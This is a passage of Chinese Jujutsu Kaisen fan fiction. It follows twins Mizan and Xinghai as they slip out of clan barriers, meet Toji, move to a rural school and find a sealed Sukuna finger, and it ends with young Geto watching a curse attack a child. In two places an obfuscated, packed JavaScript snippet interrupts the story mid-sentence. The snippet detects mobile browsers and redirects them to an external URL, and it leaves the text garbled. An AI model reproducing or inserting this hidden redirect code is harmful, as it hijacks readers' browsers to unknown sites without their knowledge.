首先改变的是他的作息。学习掌握【无下限咒术】的过程需要耗费大量的精力,原本顶着特异体质的六眼就给五条悟带来了极大的身体压力,现在他还要配合六眼学习精细的咒力操作,几乎每晚入睡前都精疲力尽。 他白天的活动时间被压缩,以此来增加睡眠时间,从入睡到清醒的每一个阶段都被严格控制着,好确保身体健康。 结界的强度增加了,弥山和星海不能再从偏院直接偷溜,又因为他们不会有家里人提供的外出许可,所以被彻底关在了族地中,禁止出入。 一切都为了保护五条悟。 弥山看着分发到手里的短刀,锋锐的刀刃反着阴冷的光。“听说你干掉了一个诅咒师?”站在他对面的少年比他大上四、五岁的样子,背着一把打刀:“我不会手下留情的。” 说实话,弥山根本不知道这到底是在干什么。他们被叫到了道场外等待,分为两两一组,被带进道场里。他昨晚通宵研究咒词和咒力的关系,一晚没睡的结果就是在被叫起来之前他的口水流了星海一肩膀。 但是,这间道场里到处都是血腥味和未清理干净的血痕。 从 出血量来看,应该还不至于死人。结合手中开了刃的咒具,他稍微开了点窍。 “这就是那什么吧......不杀了对方就一起死的选拔?” 家族的长老无语道:“不许下死手......果然愚钝。” 弥山的指腹在刀刃上滑行,感受着冰冷铁器带来的战栗:“所以,输掉的人会怎么样?” 这是一次实战比拼。他们要选出下一批年轻的家族术师,这批年轻人不光要能够祓除咒灵,更重要的是能够抹消任何靠近未来家主的威胁。也就是说,必要的时候要为了保护五条悟而杀死诅咒师或者其他人。 弥山歪着头。五条悟还有这种需要? “我认输啦!”他直接高举双手,任凭短刀从他手中跌落,掉到地上。 “嗯!?”负责组织这场选拔的长老差点没被自己的一口气噎死过去,气得胡子眉毛直抖。其他人为了更加靠近五条悟打得头破血流,谁知道突然碰到这么一个“不求上进”的家伙。 “嘛,反正......”弥山无视了对手的瞪视,大摇大摆地走了出去。院子里的少年少女们将身边的人视为必须战胜的敌人,此时都仰视着刚从屋里走出来的弥山。 信徒和仆人怎么能和自己造出来的“神明”齐头并进啊? 星海站在人群的最后边打了个哈欠。 “你们见过‘完全没有咒力’的人吗?”刚过完七岁生日的五条悟偷跑到弥山和星海的院子里,突然问了这么个问题。 弥山翻身起来:“怎么说?” 在族地内,回到主屋的途中。有人突破了家中长老设立的结界,悄无声息地见到了五条悟。昨天下了一整日的雪,现在院中积雪仍未融化。 星海剥了一个橘子塞到弥山嘴里。 “他在我的六眼里是个‘不存在的人’,真的,他身上一点咒力都没有。完全、彻底......”他又绞尽脑汁想了几个形容词,总之那个人看起来真的很与众不同。 五条悟还全须全尾的缩在被炉里,说明那个人不是为了悬赏金而来。 “完全没有咒力......”弥山重新躺倒,嘴巴里被橘子瓣塞得满满当当,鼓着腮帮子嘟囔。 咒力是人类的负面情绪泄露出来的能量。一个人要如何才能完全没有咒力呢?难道是个天生的“圣人”?一生都没有产生过半点负面情绪吗? “这也太奇怪了吧!”他突然大吼一声。 星海在桌子底下踹了一脚:“别一惊一乍的!” 结果五条悟嗷了一声。 “对了!”弥山一个鲤鱼打挺,星海直接上手掐他腰上的肉,他一边反击一边往五条悟那边躲:“小少爷?悟大人?我想去忌库!我想去书斋!” “迪士尼迪士尼迪士尼迪士尼蛋糕蛋糕蛋糕蛋糕......” “不要这么小气嘛!”弥山双手合十五体投地:“等我把结界术研究清楚,我们就能出去玩了!” 五条悟才不信他的鬼话:“你们昨天就出去玩了吧!?别以为我不知道你们已经能唔路呜哇......” 弥山在他说完之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137762|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前捂住了他的嘴:“嘘,这可是大秘密啊。” 五条悟双手抱胸,瞪着他:“——” 弥山松开手,听见他说:“我也要出去。” “没办法的啦,我只能带一个人走。” “太逊了吧!” “所以说,让我去看看嘛。” 五条悟哼了一声,最后挤出一句“我试试看”,换来了星海塞到他嘴里的橘子瓣。 —— 禅院直哉在主屋外的回廊上奔跑。 小小的“天才”飘飘然地想着刚刚听到的话。家里的所有人都说他是天才,说他肯定能够继承禅院家主之位。他还听说家里还有个吊车尾,明明是个大男人,却没有一丁点咒力。 哈哈!他已经迫不及待地想要亲眼看看那个丢人的家伙。 那家伙长得是一副什么穷酸样啊!?肯定是一脸苦相吧!? 木质回廊的尽头出现了一道身影。禅院直哉看到了一个穿著怪异的人走了过来,那是何等土气的打扮?胸前垂着两根线绳、背后还有帽子的衣服,下身是短裤!?只有外面的下等人才这么穿,家里什么时候允许这样的人随意走动了!? 禅院直哉想要呵斥,却发现那个孩子似乎和自己差不多大的年纪,黑色的眼罩挡住了整只右眼。 他的身上“没有咒力”!难道就是他?虽然看上去的确比自己高了一头左右,但这样的人会被叫做一个“大男人”吗?比想象中的还要更寒碜啊! 非禅院者非术师,非术师者非人。 没有咒力的家伙就是连“人”都算不上啊! 与他迎面碰上的孩子原本面无表情,见到他也没有任何该有的礼数。 “你......”禅院直哉话还没说出口,就看到那个孩子的嘴角慢慢扬了起来。那只一直不知道看着哪里的黑眼睛亮了起来,身上的雀跃仿佛连禅院直哉都能感受得到。在瞳孔微微移动后,禅院直哉才终于有了被注视着的感觉。 什么啊、难道他刚才一直都被无视了吗!? 这个认知让他破口大骂。区区没有咒力的吊车尾,怎么敢这么无视他!? 那个孩子伸出一根手指,放到了自己的嘴巴上。莫名其妙地,禅院直哉停下了脚步。他顺着那根手指移动的方向转身,看到了从身后走来的人。 脑海里的某些认知被打破了。 禅院甚尔看着堵在自己面前的两个小鬼头,一个是继承了【投射咒法】的那个孩子,另一个...... “......你谁啊?” “你能看见咒灵吗?” 禅院甚尔从他身边走过:“关你屁事。” “果然是天与咒缚吧?我能摸摸看吗?真应该让他也过来,可惜我只能自己进来。他应该什么都看不见吧?” 那个孩子亦步亦趋地跟在他身边,啰里八嗦地说了一大堆。 禅院甚尔懒得理他。 “怪不得你能穿过结界,这么说的话,天与咒缚应该不会被‘任何结界’捕捉,”显然禅院甚尔的拒绝没有让他退缩,“那岂不是术师杀手了吗?” 真想用星海的眼睛看看。 禅院甚尔的消极态度没有让弥山从他嘴巴里得到更多有关天与咒缚的细节,不过也算是亲眼印证了古籍上的知识,这一趟也不算全无收获。不枉他花了一年的时间才打听到符合条件的人选下落,没想到居然就近在眼前。 一开始他们谁都没往御三家上想。 “你这小鬼是五条家的......?”禅院甚尔终于开口问道。 “很快就不是了,”弥山笑嘻嘻地说,“你是怎么忍到现在的啊?要是我的话早就跑了。” 就从他一路摸进来看到的情景上来说,禅院家更像是一座坟墓,这里的每个人都像死了一样活着。 “......”禅院甚尔根本不在意他说了什么。这小鬼果然是五条家的人,距离上次去看六眼被发现后已经过了一年,结果找上门来的居然是这么一个毛都没长齐的小孩。 “所以,为什么你还没走呐?没钱?有喜欢的人在这里?总不能是不想走吧?真是搞不懂。” 禅院甚尔想要甩掉这块狗皮膏药:“你的嘴巴不需要的话我可以帮你封起来。” 走?去哪对他来说都无所谓。反正这世界就是个巨大的垃圾场,哪里都是一样的。 “你也是、他也是......” 弥山停下了脚步,他不准备再往前了,星海还在结界外等他。 临走前,他撇着嘴疑惑地笑话他们:“哪有那么多‘不遵守不行’的规矩。” 禅院甚尔回头,那个孩子已经像是来时候一样悄无声息地消失了。 星海撑着伞,看到弥山穿越结界,从院墙上翻了出来。 “见到了?”直到走入伞下,弥山的咒力才缓缓流了出来。 “累死了!”弥山将全身的体重压在了星海的身上,从他手里接过伞,一骨碌爬上了他的后背。 进出结界而不被发现的方法弥山找到了两种。第一种,在“穿越”的动作完成时,保持抓取的“现在”与现实的“现在”的重叠。简单来说,就是他要用术式做到抓取1秒前的结界信息,在之后穿越结界的1秒种里尽可能快地将抓取到的1秒前的信息将“穿越结界”这一行为盖住。 是个很拼速度的活儿,不过弥山的速度很快。非常快。 这种方法只能多带一个人,因为带的人越多意味着弥山需要抓取的结界面积会变大,覆盖的时间会增加。 第二种,就是将自己“没有咒力”的可能性变为现实。因为涉及到了“强化”的概念,所以耗费的咒力量与术式持续时间成正比。弥山很少将术式用在自己身上,因为他的术式持续时间除了他自己的咒力量外,其实主要看的是术式对象本身的咒力量。术式对象的咒力量越多,越容易拉长时间。 把术式用在自己身上会大大减少术式的使用次数,谁叫弥山的咒力量就是不多呢。 这种方法是他结合了有记载的天与咒缚的内容推测出来的,如今见到禅院甚尔唯一遗憾的就是为了维持施加在自己身上的术式,他没办法实验自己的术式是否对禅院甚尔生效。 他的推测是无法生效,毕竟禅院甚尔“一点咒力都没有”。 星海背着他离开了禅院家。 32. 新学期 1999年。 五条悟在老地方找到了弥山,但是没有看到星海。这倒是奇怪了,他们向来形影不离。 弥山还在翻书,五条悟凑过去看了两眼就觉得没意思:“星海呢?” 如果弥山在书斋,星海一般都在外面太阳照不到的缘侧上找地方睡觉。但是他今天却不在这附近。 “他在收拾东西,”弥山抽空回道,他只能趁现在抓紧时间再看两眼,“待会儿我们就走啦!” 他看书很杂,什么内容都看一些。他本来对受肉|体的内容不怎么感兴趣,但偶然翻到了一份手记,读了两句觉得有意思,最后和它死磕了两个月。本来走之前还说要看看关于术式反转的内容,结果反应过来的时候已经没有时间了。 “......” 五条悟趴在桌子上,这里的空气散发着腐朽和陈旧的味道,就像五条家的族地一样,哪怕换上了全新的木桌,装上了电灯,本质还是没有任何变化。 “立下那种束缚,就为了跑出去玩三年?你们也太奢侈了吧?” “嗯?为什么?” 五条悟用拳头敲了敲桌子:“嗯什么啊?” 他见弥山没有反应,啪地一巴掌拍在他摊开的书上:“老子不是说让你们再等等吗?” “你到底什么时候才能学会说敬语......你很烦诶!” 弥山的话传到五条悟的耳朵里,就像是他在解释那些天马行空的幻想时一样莫名其妙:“没有为什么,选择这么做的理由很简单,那就是我们想这么做啊。” “想要这么做”这样简单的理由,为什么还需要解释呢?这不是一目了然的嘛! 五条悟气冲冲地走了,他和弥山简直无话可说。 “星海!!” 他们不准备带走偏院的任何东西,星海已经用族里给的钱在茨城县水海道的桥本町附近买下了一间公寓,连带着附近中学的入学手续和其他一应事物都已经安排妥当。 五条悟当然是最后一个知道的。 “我们不是朋友吗!?为什么不和我商量!?”他不明白为什么他们一定要离开。等到他成人了就能继承家主之位,到时候他会把所有讨人厌的老头子们通通赶出去...... “你自己也知道不可能的,”星海将弥山的漫画书按照顺序摆好,原样放回橱柜里,“而且,那些又不重要。” 看着有些不知所措的五条悟,星海居然小小地笑了一下。 他挑起嘴角:“果然还是个小屁孩。” 如果换做平时,五条悟第一个跳起来反驳。但今天他却老老实实地坐在了原地,就像屁股粘在了后脚跟上一样。 “谁叫你倒霉,遇到我们这两个不祥之子了呢,”星海看着不算空旷了的房间,他们当初来的时候这里只有一床被子而已,他又透过障子门望向院子里的矮树,“如果你遇到更有‘人心’的家伙,可能会能过得更幸福一点。” 五条悟盯着地面:“说什么呢,老子听不懂。” 星海的声音带着笑意,五条悟分辨不出那是嘲笑还是代表他心情很好的哼笑:“人这种生物,从出生起就会伪装。假装能够与人交流,假装能够与人相互理解。其实都只是一个人而已,除了自己以外,又能知道别人的什么呢?不,有的时候连自己都看不清吧。” 独自一人降生于世,死的时候也孑然一身。 就像人无法回想自己不知道某些认知时候的想法,如果一个人说“我无法理解你”,得到的回应必然是“我不明白你为什么无法理解”。 就像咒术师无法想象不知道咒术的非术师眼中的世界。 “......你们两个呢?” 五条悟早慧,可他也不明白这些。 他们都听见了弥山回来的脚步声,星海没有回答他的问题。可能是没有答案,可能是他不会给出五条悟满意的答案。 哪怕身为双子,哪怕互为半身,哪怕生而注定纠缠一辈子,他们两个人就能够相互理解吗? “你和我们可不是朋友,”星海起身,留下五条悟一个人还坐在被捂得温热的榻榻米上,“等你遇到真正的朋友就能明白了吧?五条。” 弥山站在院门口,笑着向他们这边挥手:“拜拜啦,悟!” 他们来时两手空空,走的时候也是。能带走彼此已经是最大的幸运。五条悟没有去大门送他们,他原本以为自己会出现舍不得的感觉,又或者会“哭出来”?结果,什么都没有。也许最大的感觉就是:啊,以后又要变得有点寂寞了。 —— 9月。 经过一个多月的暑假,常聪市立水海道中学迎来了第二学期。 一年3班的同学们聚在刚刚结识几个月的朋友身边谈论着即将开始的新学期。 “呐,你们听说了吗?好像有插班生要来哦!” “诶!?真假!?在这个时候?” “不知道,我听佐佐木老师他们说的~” 佐佐木代是一年级的国文老师,他同时还兼任3班的班主任。因为很年轻,所以还是很受孩子们欢迎的。 “那么,你们两个跟我来吧,”他带着课本走在前面,身后跟着的就是未来将要加入3班的两个新学生,“虽然错过了一个学期的课程,但是一年级的知识学起来并不困难,可以先试试自学,有问题的话午休时间来找我也可以哦。” 这两个孩子......佐佐木代想起其中一个孩子戴着的眼罩,惋惜地叹了口气。应该是发生了什么事故吧?希望3班的孩子们能够好好接纳他们。 “佐佐木老师来了!” 还没走进门,佐佐木代就听见有人“报信”。 “在这里稍等一下,我先去和大家做介绍。喊你们的时候就进来哦。”看到两个人点头,佐佐木代推门而入。 原本有些嘈杂的教室安静了不少,弥山和星海靠着墙等在外面。 星海去配了一副眼镜,只能说聊胜于无,坐在第一排想要看清黑板也很困难,所以他索性就不戴了。板书什么的有弥山帮他记,老师上课讲的东西他听过就能记住。 弥山突然小声说:“你在紧张?” 星海松开了握成拳头的手,弥山的手背蹭了过来。 “......”星海深吸了一口气。 “好了!请进来吧,弥山同学,星海同学。”佐佐木代的声音从教室里传来,他们还能听见其他孩子的窃窃私语。 星海率先走进了教室。 果不其然,他那双颜色奇特的眼睛立刻引起了激烈的讨论。弥山走进来时声音明显小了一截。 “虽然是双胞胎,但是看起来总觉得不太像呢......” “应该是眼睛的缘故吧?我摘掉眼镜看的话简直就是复制出来的一样!” “好漂亮的眼睛......” 佐佐木代把他们安排在了靠窗的位置,他们坐同桌,前后都是他“精心挑选”的个性温柔的孩子,希望能够尽快让他们感觉到接纳感吧。 中学生的一节课是50分钟,第一节国文课还算有趣,佐佐木代很会讲故事,所以很少有人会在他的课上打瞌睡。一下课,弥山和星海课桌的周围就被好奇的孩子们围住了。 女孩子们想知道更多关于星海眼睛的事,提出了想要近距离观察的请求。男孩子们更在乎他们到底谁是哥哥,谁是弟弟。当得知他们自己也不知道的时候,就开始热衷于让他们分个先后出来。 “弥山同学!星海同学!要和我们一起去天台吃午餐吗?”女孩子们嬉笑着互相推搡,穿着泡泡袜的女同学被推出来问道。 “诶?为什么?”弥山将胳膊搭在星海的肩膀上,轻飘飘地说。 刚才还兴奋地说着悄悄话的女生们都疑惑地停了下来,被推出来的女生有些尴尬:“啊、那个......如果不愿意的话也没关系的,那,我们先走吧!” 她们离开后,弥山眨着眼睛嘟囔:“所以为什么要去天台吃饭啊。” “哼哼,问题不是天台,而是‘一起吃饭’啊!”坐在他们后排的男生戴着眼镜,此刻他的镜片反着白色的光,仿佛看穿一切般地说:“长得好看的家伙就是会受到优待,嘛,不过像我这样......” 他的话还没说完,弥山趴到了他桌子上:“你们都自己带便当吗?自己做的便当吗?如果不带的话要怎么吃饭?” 眼镜男生卡壳:“一般都是父母帮忙准备吧......学校附近倒是有便利店,会有面包之类的。” “是吗。”得到了想要的答案,弥山从他的课桌上离开了。 “去便利店看看吧!”弥山说着起身准备离开,星海跟在他的身后。 眼镜男生还能听到他们边走边说:“以后要准备便当吗?不要,我可起不来......” 他们找到便利店的时候,比较受欢迎的面包口味和饮料都已经被选购一空,怪不得很多人下课的第一件事就是冲下楼买吃的。 便利店紧挨着操场。午休时间并没有强制学生们在教室休息,不少精力充沛的学生在运动场上踢足球,或者三三两两地坐在树荫下面聊天。旁边还特别开辟了一小块地方给棒球部,角落里还有看起来像是不良的人骑着自行车,他们将前轮翘起,滑稽地保持平衡。 弥山咬着面包,目不转睛地看着那些人。 合唱部的歌声从三楼敞开的窗户中飘了出来,从他们坐着的长椅前经过的大概是天文部的学生,他们正在激烈地讨论着“99年世界末日说”。 “......” 弥山将包装扔掉,躺倒在星海的腿上睡觉。 午休的时间很快过去,下午只有两节课,三点多就已经放学了。 “适应的怎么样?”佐佐木代在放学之后找到了他们,拿出了几张宣传单:“这几个社团都比较受欢迎,如果想要加入运动社团的话需要入部考核,想好的话来找我吧。” 教体育的小岛老师说那两个孩子身体素质都很好,想要参加田径部的话应该也没问题。 弥山接过那几张宣传单翻看了一下,有家政、合唱、茶道之类的,体育类社团最受欢迎的是棒球部,据说他们学校还有在少棒俱乐部担任正选的人。体育馆的旁边有被设计成道场的教室,供剑道部和空手道部活动。 他看了看默不作声的星海,问佐佐木代:“所有人都要选一个吗?” 佐佐木代解释道:“作为老师,我当然希望你们都能参与到自己喜欢的社团活动中去啦,不过实在太困扰的话也可以选择‘回家部’,也有孩子选择当‘幽灵部员’,但是这样社团的指导老师们会很苦恼。不用着急给出答复,慢慢选择自己喜欢的就好。” 常聪市立水海道中学在森下町,他们家在桥本町,如果不骑车的话需要走上半个小时。当然也可以选择乘巴士,但他们想去外面吃饭,所以就选择溜达着往回走。 出了校门往南走了一会儿,往西去拐到了靠近八间渠附近大型公园一样的空地。这里没有什么设施,基本都还处于未开发的状态,任由各种野草野花在河边的湿地上自由生长。 八间渠的河水在湿地形成了一个个小池塘,住在附近的孩子们喜欢在假期跑到这边捉龙虾。 水海道这边除了城镇中心有比较密集的建筑群,西边靠近八间渠是无人打理的空地,东边是井井有条的农田。有不少神社祠堂坐落在这些地方。 弥山和星海前进方向正前就有一个八幡神社,应该是以前当地的居民建起来祈求武运和学业顺利的吧。他们不为参拜而来,吸引他们的原因是这里有未加掩饰、随意散发的咒力。 弥山弯腰从搔刮着小腿的草丛中捡起几颗小石块,拿在手里抛着。 他们还没靠得太近,星海就皱起眉头。 “有人在那里。”这里不算太靠近东京中心圈,就算是有咒灵,也大多是一些低等级的存在,放着不管也没什么关系的那种。星海在族里给出的地址范围里选中了水海道,也有看中了这里的地理位置比较边缘的原因在。毕竟人越多的地方,诅咒一般会变得更强。 “诅咒师?这种地方哪有钱可赚啊。” “就是这种地方才方便吧。” 毕竟在这种乡下处理尸体很简单。 他们脚下还能隐隐约约看出一条小路,但大概是很久都没人走过,已经被新生的苔藓和地衣重新铺满。如此说来,更不可能有人来参拜这个八幡神社了。 “是个小孩......?” 弥山顿了顿:“是两个。” 他们默契地停下了脚步,没有让神社门口的两个孩子发现。 其中一个黑色头发的孩子说:“还是不要进去了吧?天快黑了,阿姨会担心的。” 另一个孩子似乎有些不死心:“我就进去看一眼!” “阿姨说过不让你来这边玩,你忘了老师说之前有一个人从这边掉下河然后淹死了吗?” “噫!你不要在我身后说这些嘛!好、好了!我觉得就选这里不错!” “......都说了这边不安全。” “行了!小杰你也太啰嗦了,比老太婆还要婆婆妈妈的!” “我要告诉阿姨了。” “叛徒!你给我等着吧,我不让他们跟你玩了!胆小鬼!” 孩子们的声音渐渐远去,待他们彻底走远,弥山和星海才从远处靠近这间八幡神社。 从他们停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137763|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下脚步的时候开始,他们的注意力就已经不在那两个孩子的身上了。 星海皱着眉头,语气嫌弃又恨恨地说:“怪不得有这么一块‘好地方’,原来是在这儿等着呢。” 弥山耸肩摊手,一副“我就知道”的模样:“你自找的啦。” 这间神社本身没有任何可疑之处,问题在于被放在神龛内的东西。落满灰尘的匣子里静静躺着一个盒子,稍微熟悉一点封印术的咒术师都能发现整座神社被附加了许多“封印”的元素,其目的都是为了掩盖从这个小盒子里散发出来的气息。 特级咒物,两面宿傩的手指。 为什么这种东西会被放在这样一个近乎荒废的神社里? 如果像是医院或是学校这样极易产生诅咒的地方,放置强力的咒物用来“辟邪”是可以理解的,虽然只能说是以毒攻毒,但多少能够有些实际效果。水海道这里有任何需要“宿傩的手指”来驱逐的邪祟吗? 弥山将那个小盒子打开看了一下,摧魔怨敌法用来封印的咒符还好好地缠在手指上,总体来说,封印还算坚固,如果没有其他外力打扰,估计再保持一、二十年也不成问题。 “他们是知道这里有这玩意儿在吗?忌库里可没有这种东西,如果他们想要的话直接来拿走不就好了。”弥山将盒盖盖上,放回了原位。 星海没好气地回道:“我看单纯是闲的没事干,正好把我们扔到这边来看着这个东西。” “哼......”弥山抱臂:“麻烦又不会落在我们头上,再说了哪有人会想要拿着宿傩的手指到处走。” 宿傩的手指是剧毒,但对于咒灵来说却散发着致命的吸引力。吞掉拥有这等力量的咒物,咒灵的实力就能得到爆炸性的提升。但仅限于高等级的咒灵,毕竟低等级的存在是不会主动靠近的,恐惧会吞没它们的野心,哪怕是无法谨慎思考的最低级咒灵也知道趋利避害。 弥山不准备向本家汇报这件事,他们要求的报告书又没说要把“监视”宿傩手指的任务也算进去。 “放在这呗,又没人能打开封印。” 星海同意了弥山的说法。没有咒力的人不可能打开封印,不过刚才那个黑头发的孩子身上有咒力,听他们的说法似乎还有再回来的意思。 希望他不要太倒霉。 —— 夏油杰听着自己的同伴正在侃侃而谈。最近很流行的试胆大会虽然被老师和家长们明令禁止,但依旧有孩子们对此跃跃欲试。 他微笑着应对同伴寻求认同的问话,眼睛却不由自主地撇向通往黑暗的小巷尽头。 有一个人站在那里,长长的黑色头发披散在肩膀上,穿着白色的裙子。 “呐!你有没有听我说话啊!真是的,小杰你长着一副狐狸的样子,却不太聪明呢!我家的大人总说你看起来很精明,但其实反应钝钝的,只是装作聪明的样子......” 同伴的话语模糊在秋日最后的蝉鸣中,夏油杰听到的却是带着提前到来的寒冬般凌冽的诱惑:“来这边。来这边嘛......” 小巷尽头的女人向他招手。 夏油杰偏过头:“哈哈,阿姨是这么说的吗?” 又来了,那些“怪物”们。 “你觉得下周五怎么样!我们叫上......” “过来嘛。” “我们赶快走吧,还有作业没有写完呢吧?要去我家写吗?” “嗯......还是去我家吧!小杰,你的爸爸妈妈不喜欢你吗?你们家总是只有你一个人呢。” “怎么可能啊......他们只是工作太忙了而已。” 夏油杰移开目光,控制着自己不去往那边看。那个“怪物”已经来到了巷口,来往的行人像是根本看不见它似的径直从它身边走过。 要是能够穿越回小时候,他一定会先堵住小时候的自己的嘴巴。他的所作所为超越了儿童的天真烂漫,父母从他的讲述中看到了超出幻想的“异常”。 毕竟要是有个孩子整天指着祖父的骨灰坛说那里有个没有眼睛的老爷爷,还说天上飞着气球一样的苍蝇,多少还是会怀疑这孩子是不是有些心理疾病之类的。 别人看不到。 只有自己。只有自己看得到的“怪物”。 要“正常地”和大家说话。不要在意从课桌里冒出来的、长满眼睛的“史莱姆”,不要在意顺着食堂阿姨的手爬到餐勺上的“蛇”。不要在意,你已经很习惯这些了,它们都是“不存在”的东、西...... 夏油杰的手碰到了课桌里的怪物,阴冷湿滑的触感让他瞬间起了满身的鸡皮疙瘩。 不,它们是真实存在的!它们不是幻想,而是能够被触碰、能够被感知到的东西! “什么东西?这里什么都没有啊?” 然而只有他能够碰到它们。 “凉飕飕的感觉......你偷偷藏冰棍了吗?” “不,”夏油杰习以为常地笑了出来,“可能是因为我的桌子没有被太阳晒到吧。” 所以,为什么会发生这样的事? 同样的小巷,身处黑暗之中,看着怪物头顶的天空亮得刺眼。 柔弱的、毫无反抗能力的孩子被怪物抱在怀中,惊恐地呜咽着。夏油杰看不见被长长的黑发遮住的脸,但被禁锢住的孩子却看得一清二楚。 眼睛的部位是两个空空的血洞,鼻子被削掉了,只剩下半张脸是完好的。艳红的嘴唇与从眼眶中淌下的血是一样的颜色,它用锋利的指甲抚摸着孩子的皮肤,留下了道道泛着深色污秽的血痕。 “过来了......我可爱的孩子......” 孩子已经没有力气发出恐惧的叫喊了。怪物在他身上留下的伤口侵蚀着他的身体,心脏的跳动已经开始变得无力。 夏油杰不知道该怎么选择。他站在巷口,阳光与阴影的交界处。 去找大人来帮忙?警察?路人? 不行,他们看不见......但是至少能看到那个受伤的孩子! “天啊,太郎!?你怎么了太郎!?”惊呼声从夏油杰的身后传来,他被人从后面用力地推开,撞到了小巷的墙壁上。太郎的父母焦急地冲向自己的孩子,夏油杰急忙说道:“别靠近它!很危险......!” 母亲抱着自己的孩子,对他怒目而视:“是你打了太郎吗!?这些伤、为什么要这样对一个小孩子!?” 她已经有些歇斯底里,夏油杰震惊地看着他们......看着他们被那个怪物一起抱进怀里,它张开嘴巴,艳红的唇下是两排尖锐的利齿:“孩子......我的孩子......” 怪物狰狞地笑了起来:“都过来了!” 33. 普通 被父母带走的时候,夏油杰沉默地跟在他们身后。 那位母亲急火攻心之下说出来的话并没有被采信,自从找到了孩子之后,她就变得有些神经质,不允许任何人靠近太郎,医生们和她的丈夫费了好大劲才让她松开太郎,送孩子去治疗伤口。 “实在抱歉,她实在是太着急了,才对孩子说出了那样的话。”丈夫向夏油杰道歉,很快又焦头烂额地被医生叫走了。 “杰,没事吧?”母亲关切的声音传来,夏油杰摇了摇头。 “抱歉,我......” “没关系,”父亲说,“你没事就好。下次不要独自靠近,叫大人过来处理,记住了吗?” 夏油杰张了张嘴,终究是咽下了未说出口的话。那个怪物还缠在太郎的母亲身上,如果太郎清醒过来的话,能说明自己看到了什么吗?会有人相信他吗? 会有人......相信自己吗? 父母很忙。 夏油杰早上起来的时候,他们都已经早早地离家工作去了,餐桌上有留下的早餐,这已经能看作是父母照顾了他昨天的感受而特地留下的“安慰”。 正常地收拾好自己,正常地将书本塞入背包,正常地离开家去往学校。 一切如同往常。 “有点太普通了吧?” 弥山指着桌上摆着的两个便当盒。里面铺了一层栗子饭,炸物和煮物塞满了剩余的空间,最后随意扔了两粒梅干上去。 “我可没有时间给你用海苔碎摆出图案,”星海示意他不要愣着,赶快把便当盖上,“想吃明太子芝士焗饭就记得提前买材料,我又不是那只蓝色的机器猫。” 弥山将还温热烫手的便当盒用袋子装好,挎着学校指定的学生书包,在玄关换好鞋等着星海。 “想什么呢。”后脑勺被人拍了一下,弥山打开门,让开了门口的位置。 “......”他眨眨眼:“没什么。” 星海瞥了他一眼,锁上了门。 楼下有一家人养了许多植物,将公寓一层的入口处打理得绿意盎然,总有各种各样的小动物聚集在这一方小小的绿色世界中。他们从门口走出去,脚步声惊醒了在草地上瘫成一片的橘猫。 “放学就去买明太子和芝士,”弥山听到星海说,“再买点牛奶和黄油。” “喵~”橘猫走起路来肚子上的肉一颠一颠的。 “走开啦,又不是给你吃的!” 弥山推着星海快步走掉了。 “诶?第一节不是佐佐木老师老师的国文吗?” “佐佐木老师家里有事,这两天都由我来代课。”应该教二年级国文的老师走进了教室,组织同学们回到座位上坐好。 弥山撑着下巴看向黑板,有一搭没一搭地记着笔记。这种态度理所当然地被星海用笔敲了手,换来他不满地瞪视。 下课的时候他趴在桌子上不理人,后桌的眼镜男见状问道:“这是怎么了?身体不舒服吗?” 星海回道:“别理他。” “说起来,你们决定好要参加什么社团了吗?如果你们还没有决定好的话......” 眼镜男掏出了一张宣传单,比起棒球部、吹奏部那些精心绘制的宣传单来说有点简陋,看起来只有手写的宣传语。 “要不要加入我的灵异研究同好会?” 他兴致勃勃地开始说起自己组建同好会的初衷,尽管非常希望能够找志同道合的灵异爱好者,但基本上没有人愿意浪费时间在这样的事情上,就算是用幽灵部员的位置诱惑回家部的成员,他们也表示更乐意去电影研究同好会消磨时间。 “其实没有什么特别恐怖的活动啦,即便我想举行灵异探险或者试胆大会,但根本凑不到那么多人嘿嘿。我之前就听说过八间渠那边有一间废弃的八幡神社,传闻那里是受到诅咒的地方——” 抬起头来时,发现前桌的兄弟两个齐齐转过了身,三只眼睛意味不明地盯着他。 “怎、怎么了?” 弥山说:“你是从哪里听到这个传说的?难道是本地的旧闻?” “呃、嗯......这个嘛,”他推了推眼镜,“我承认,确实有夸大的成分在,抱歉啦,因为我真的很想拉人入部。认真说的话,那边总是有落水溺亡的事,前段时间不是还有吗?那个孩子在很远的地方才被找到,已经过了三天。” “大人们为了不让小孩跑到那边玩,才编出了这样的故事。” 诅咒的根源在于负面情绪,承载了诸多情感与回忆的地方更容易生成诅咒。那间八幡神社因为大人们的传言而受到孩子们的恐惧,如果联想到八间渠的诸多溺水事件,那间神社的确具备了生成诅咒的条件。 但是不知是误打误撞还是早有预谋,宿傩的手指充当了辟邪物,抑制了这里诅咒的生成。 就这样保持平衡,如果封印不松动的话,这附近就能一直安定下去。 “果然放着不管是正确的选择。”弥山又趴了下去,将最后一句话埋入自己的臂弯。 “所以,你们有兴趣吗?” 星海摇头:“抱歉。” 眼睛男看他们真的没有兴趣,也不再纠缠。 “这种事情,你应该去问茂君啊!他不是自称‘灵异人’嘛!”邻桌的女生突然指了指眼镜男。 “什么什么?哪里发生灵异事件了吗?” “也不算啦,我弟弟他们说周五晚上他们想玩试胆大会,但是还没找到合适的地方,”女生有些担忧地说,“我在想要不要告诉家里人,但是又觉得没有必要。” “啊!我还记得我们当时是在井水神神社玩的,不过现在那里已经不能随便进了。” 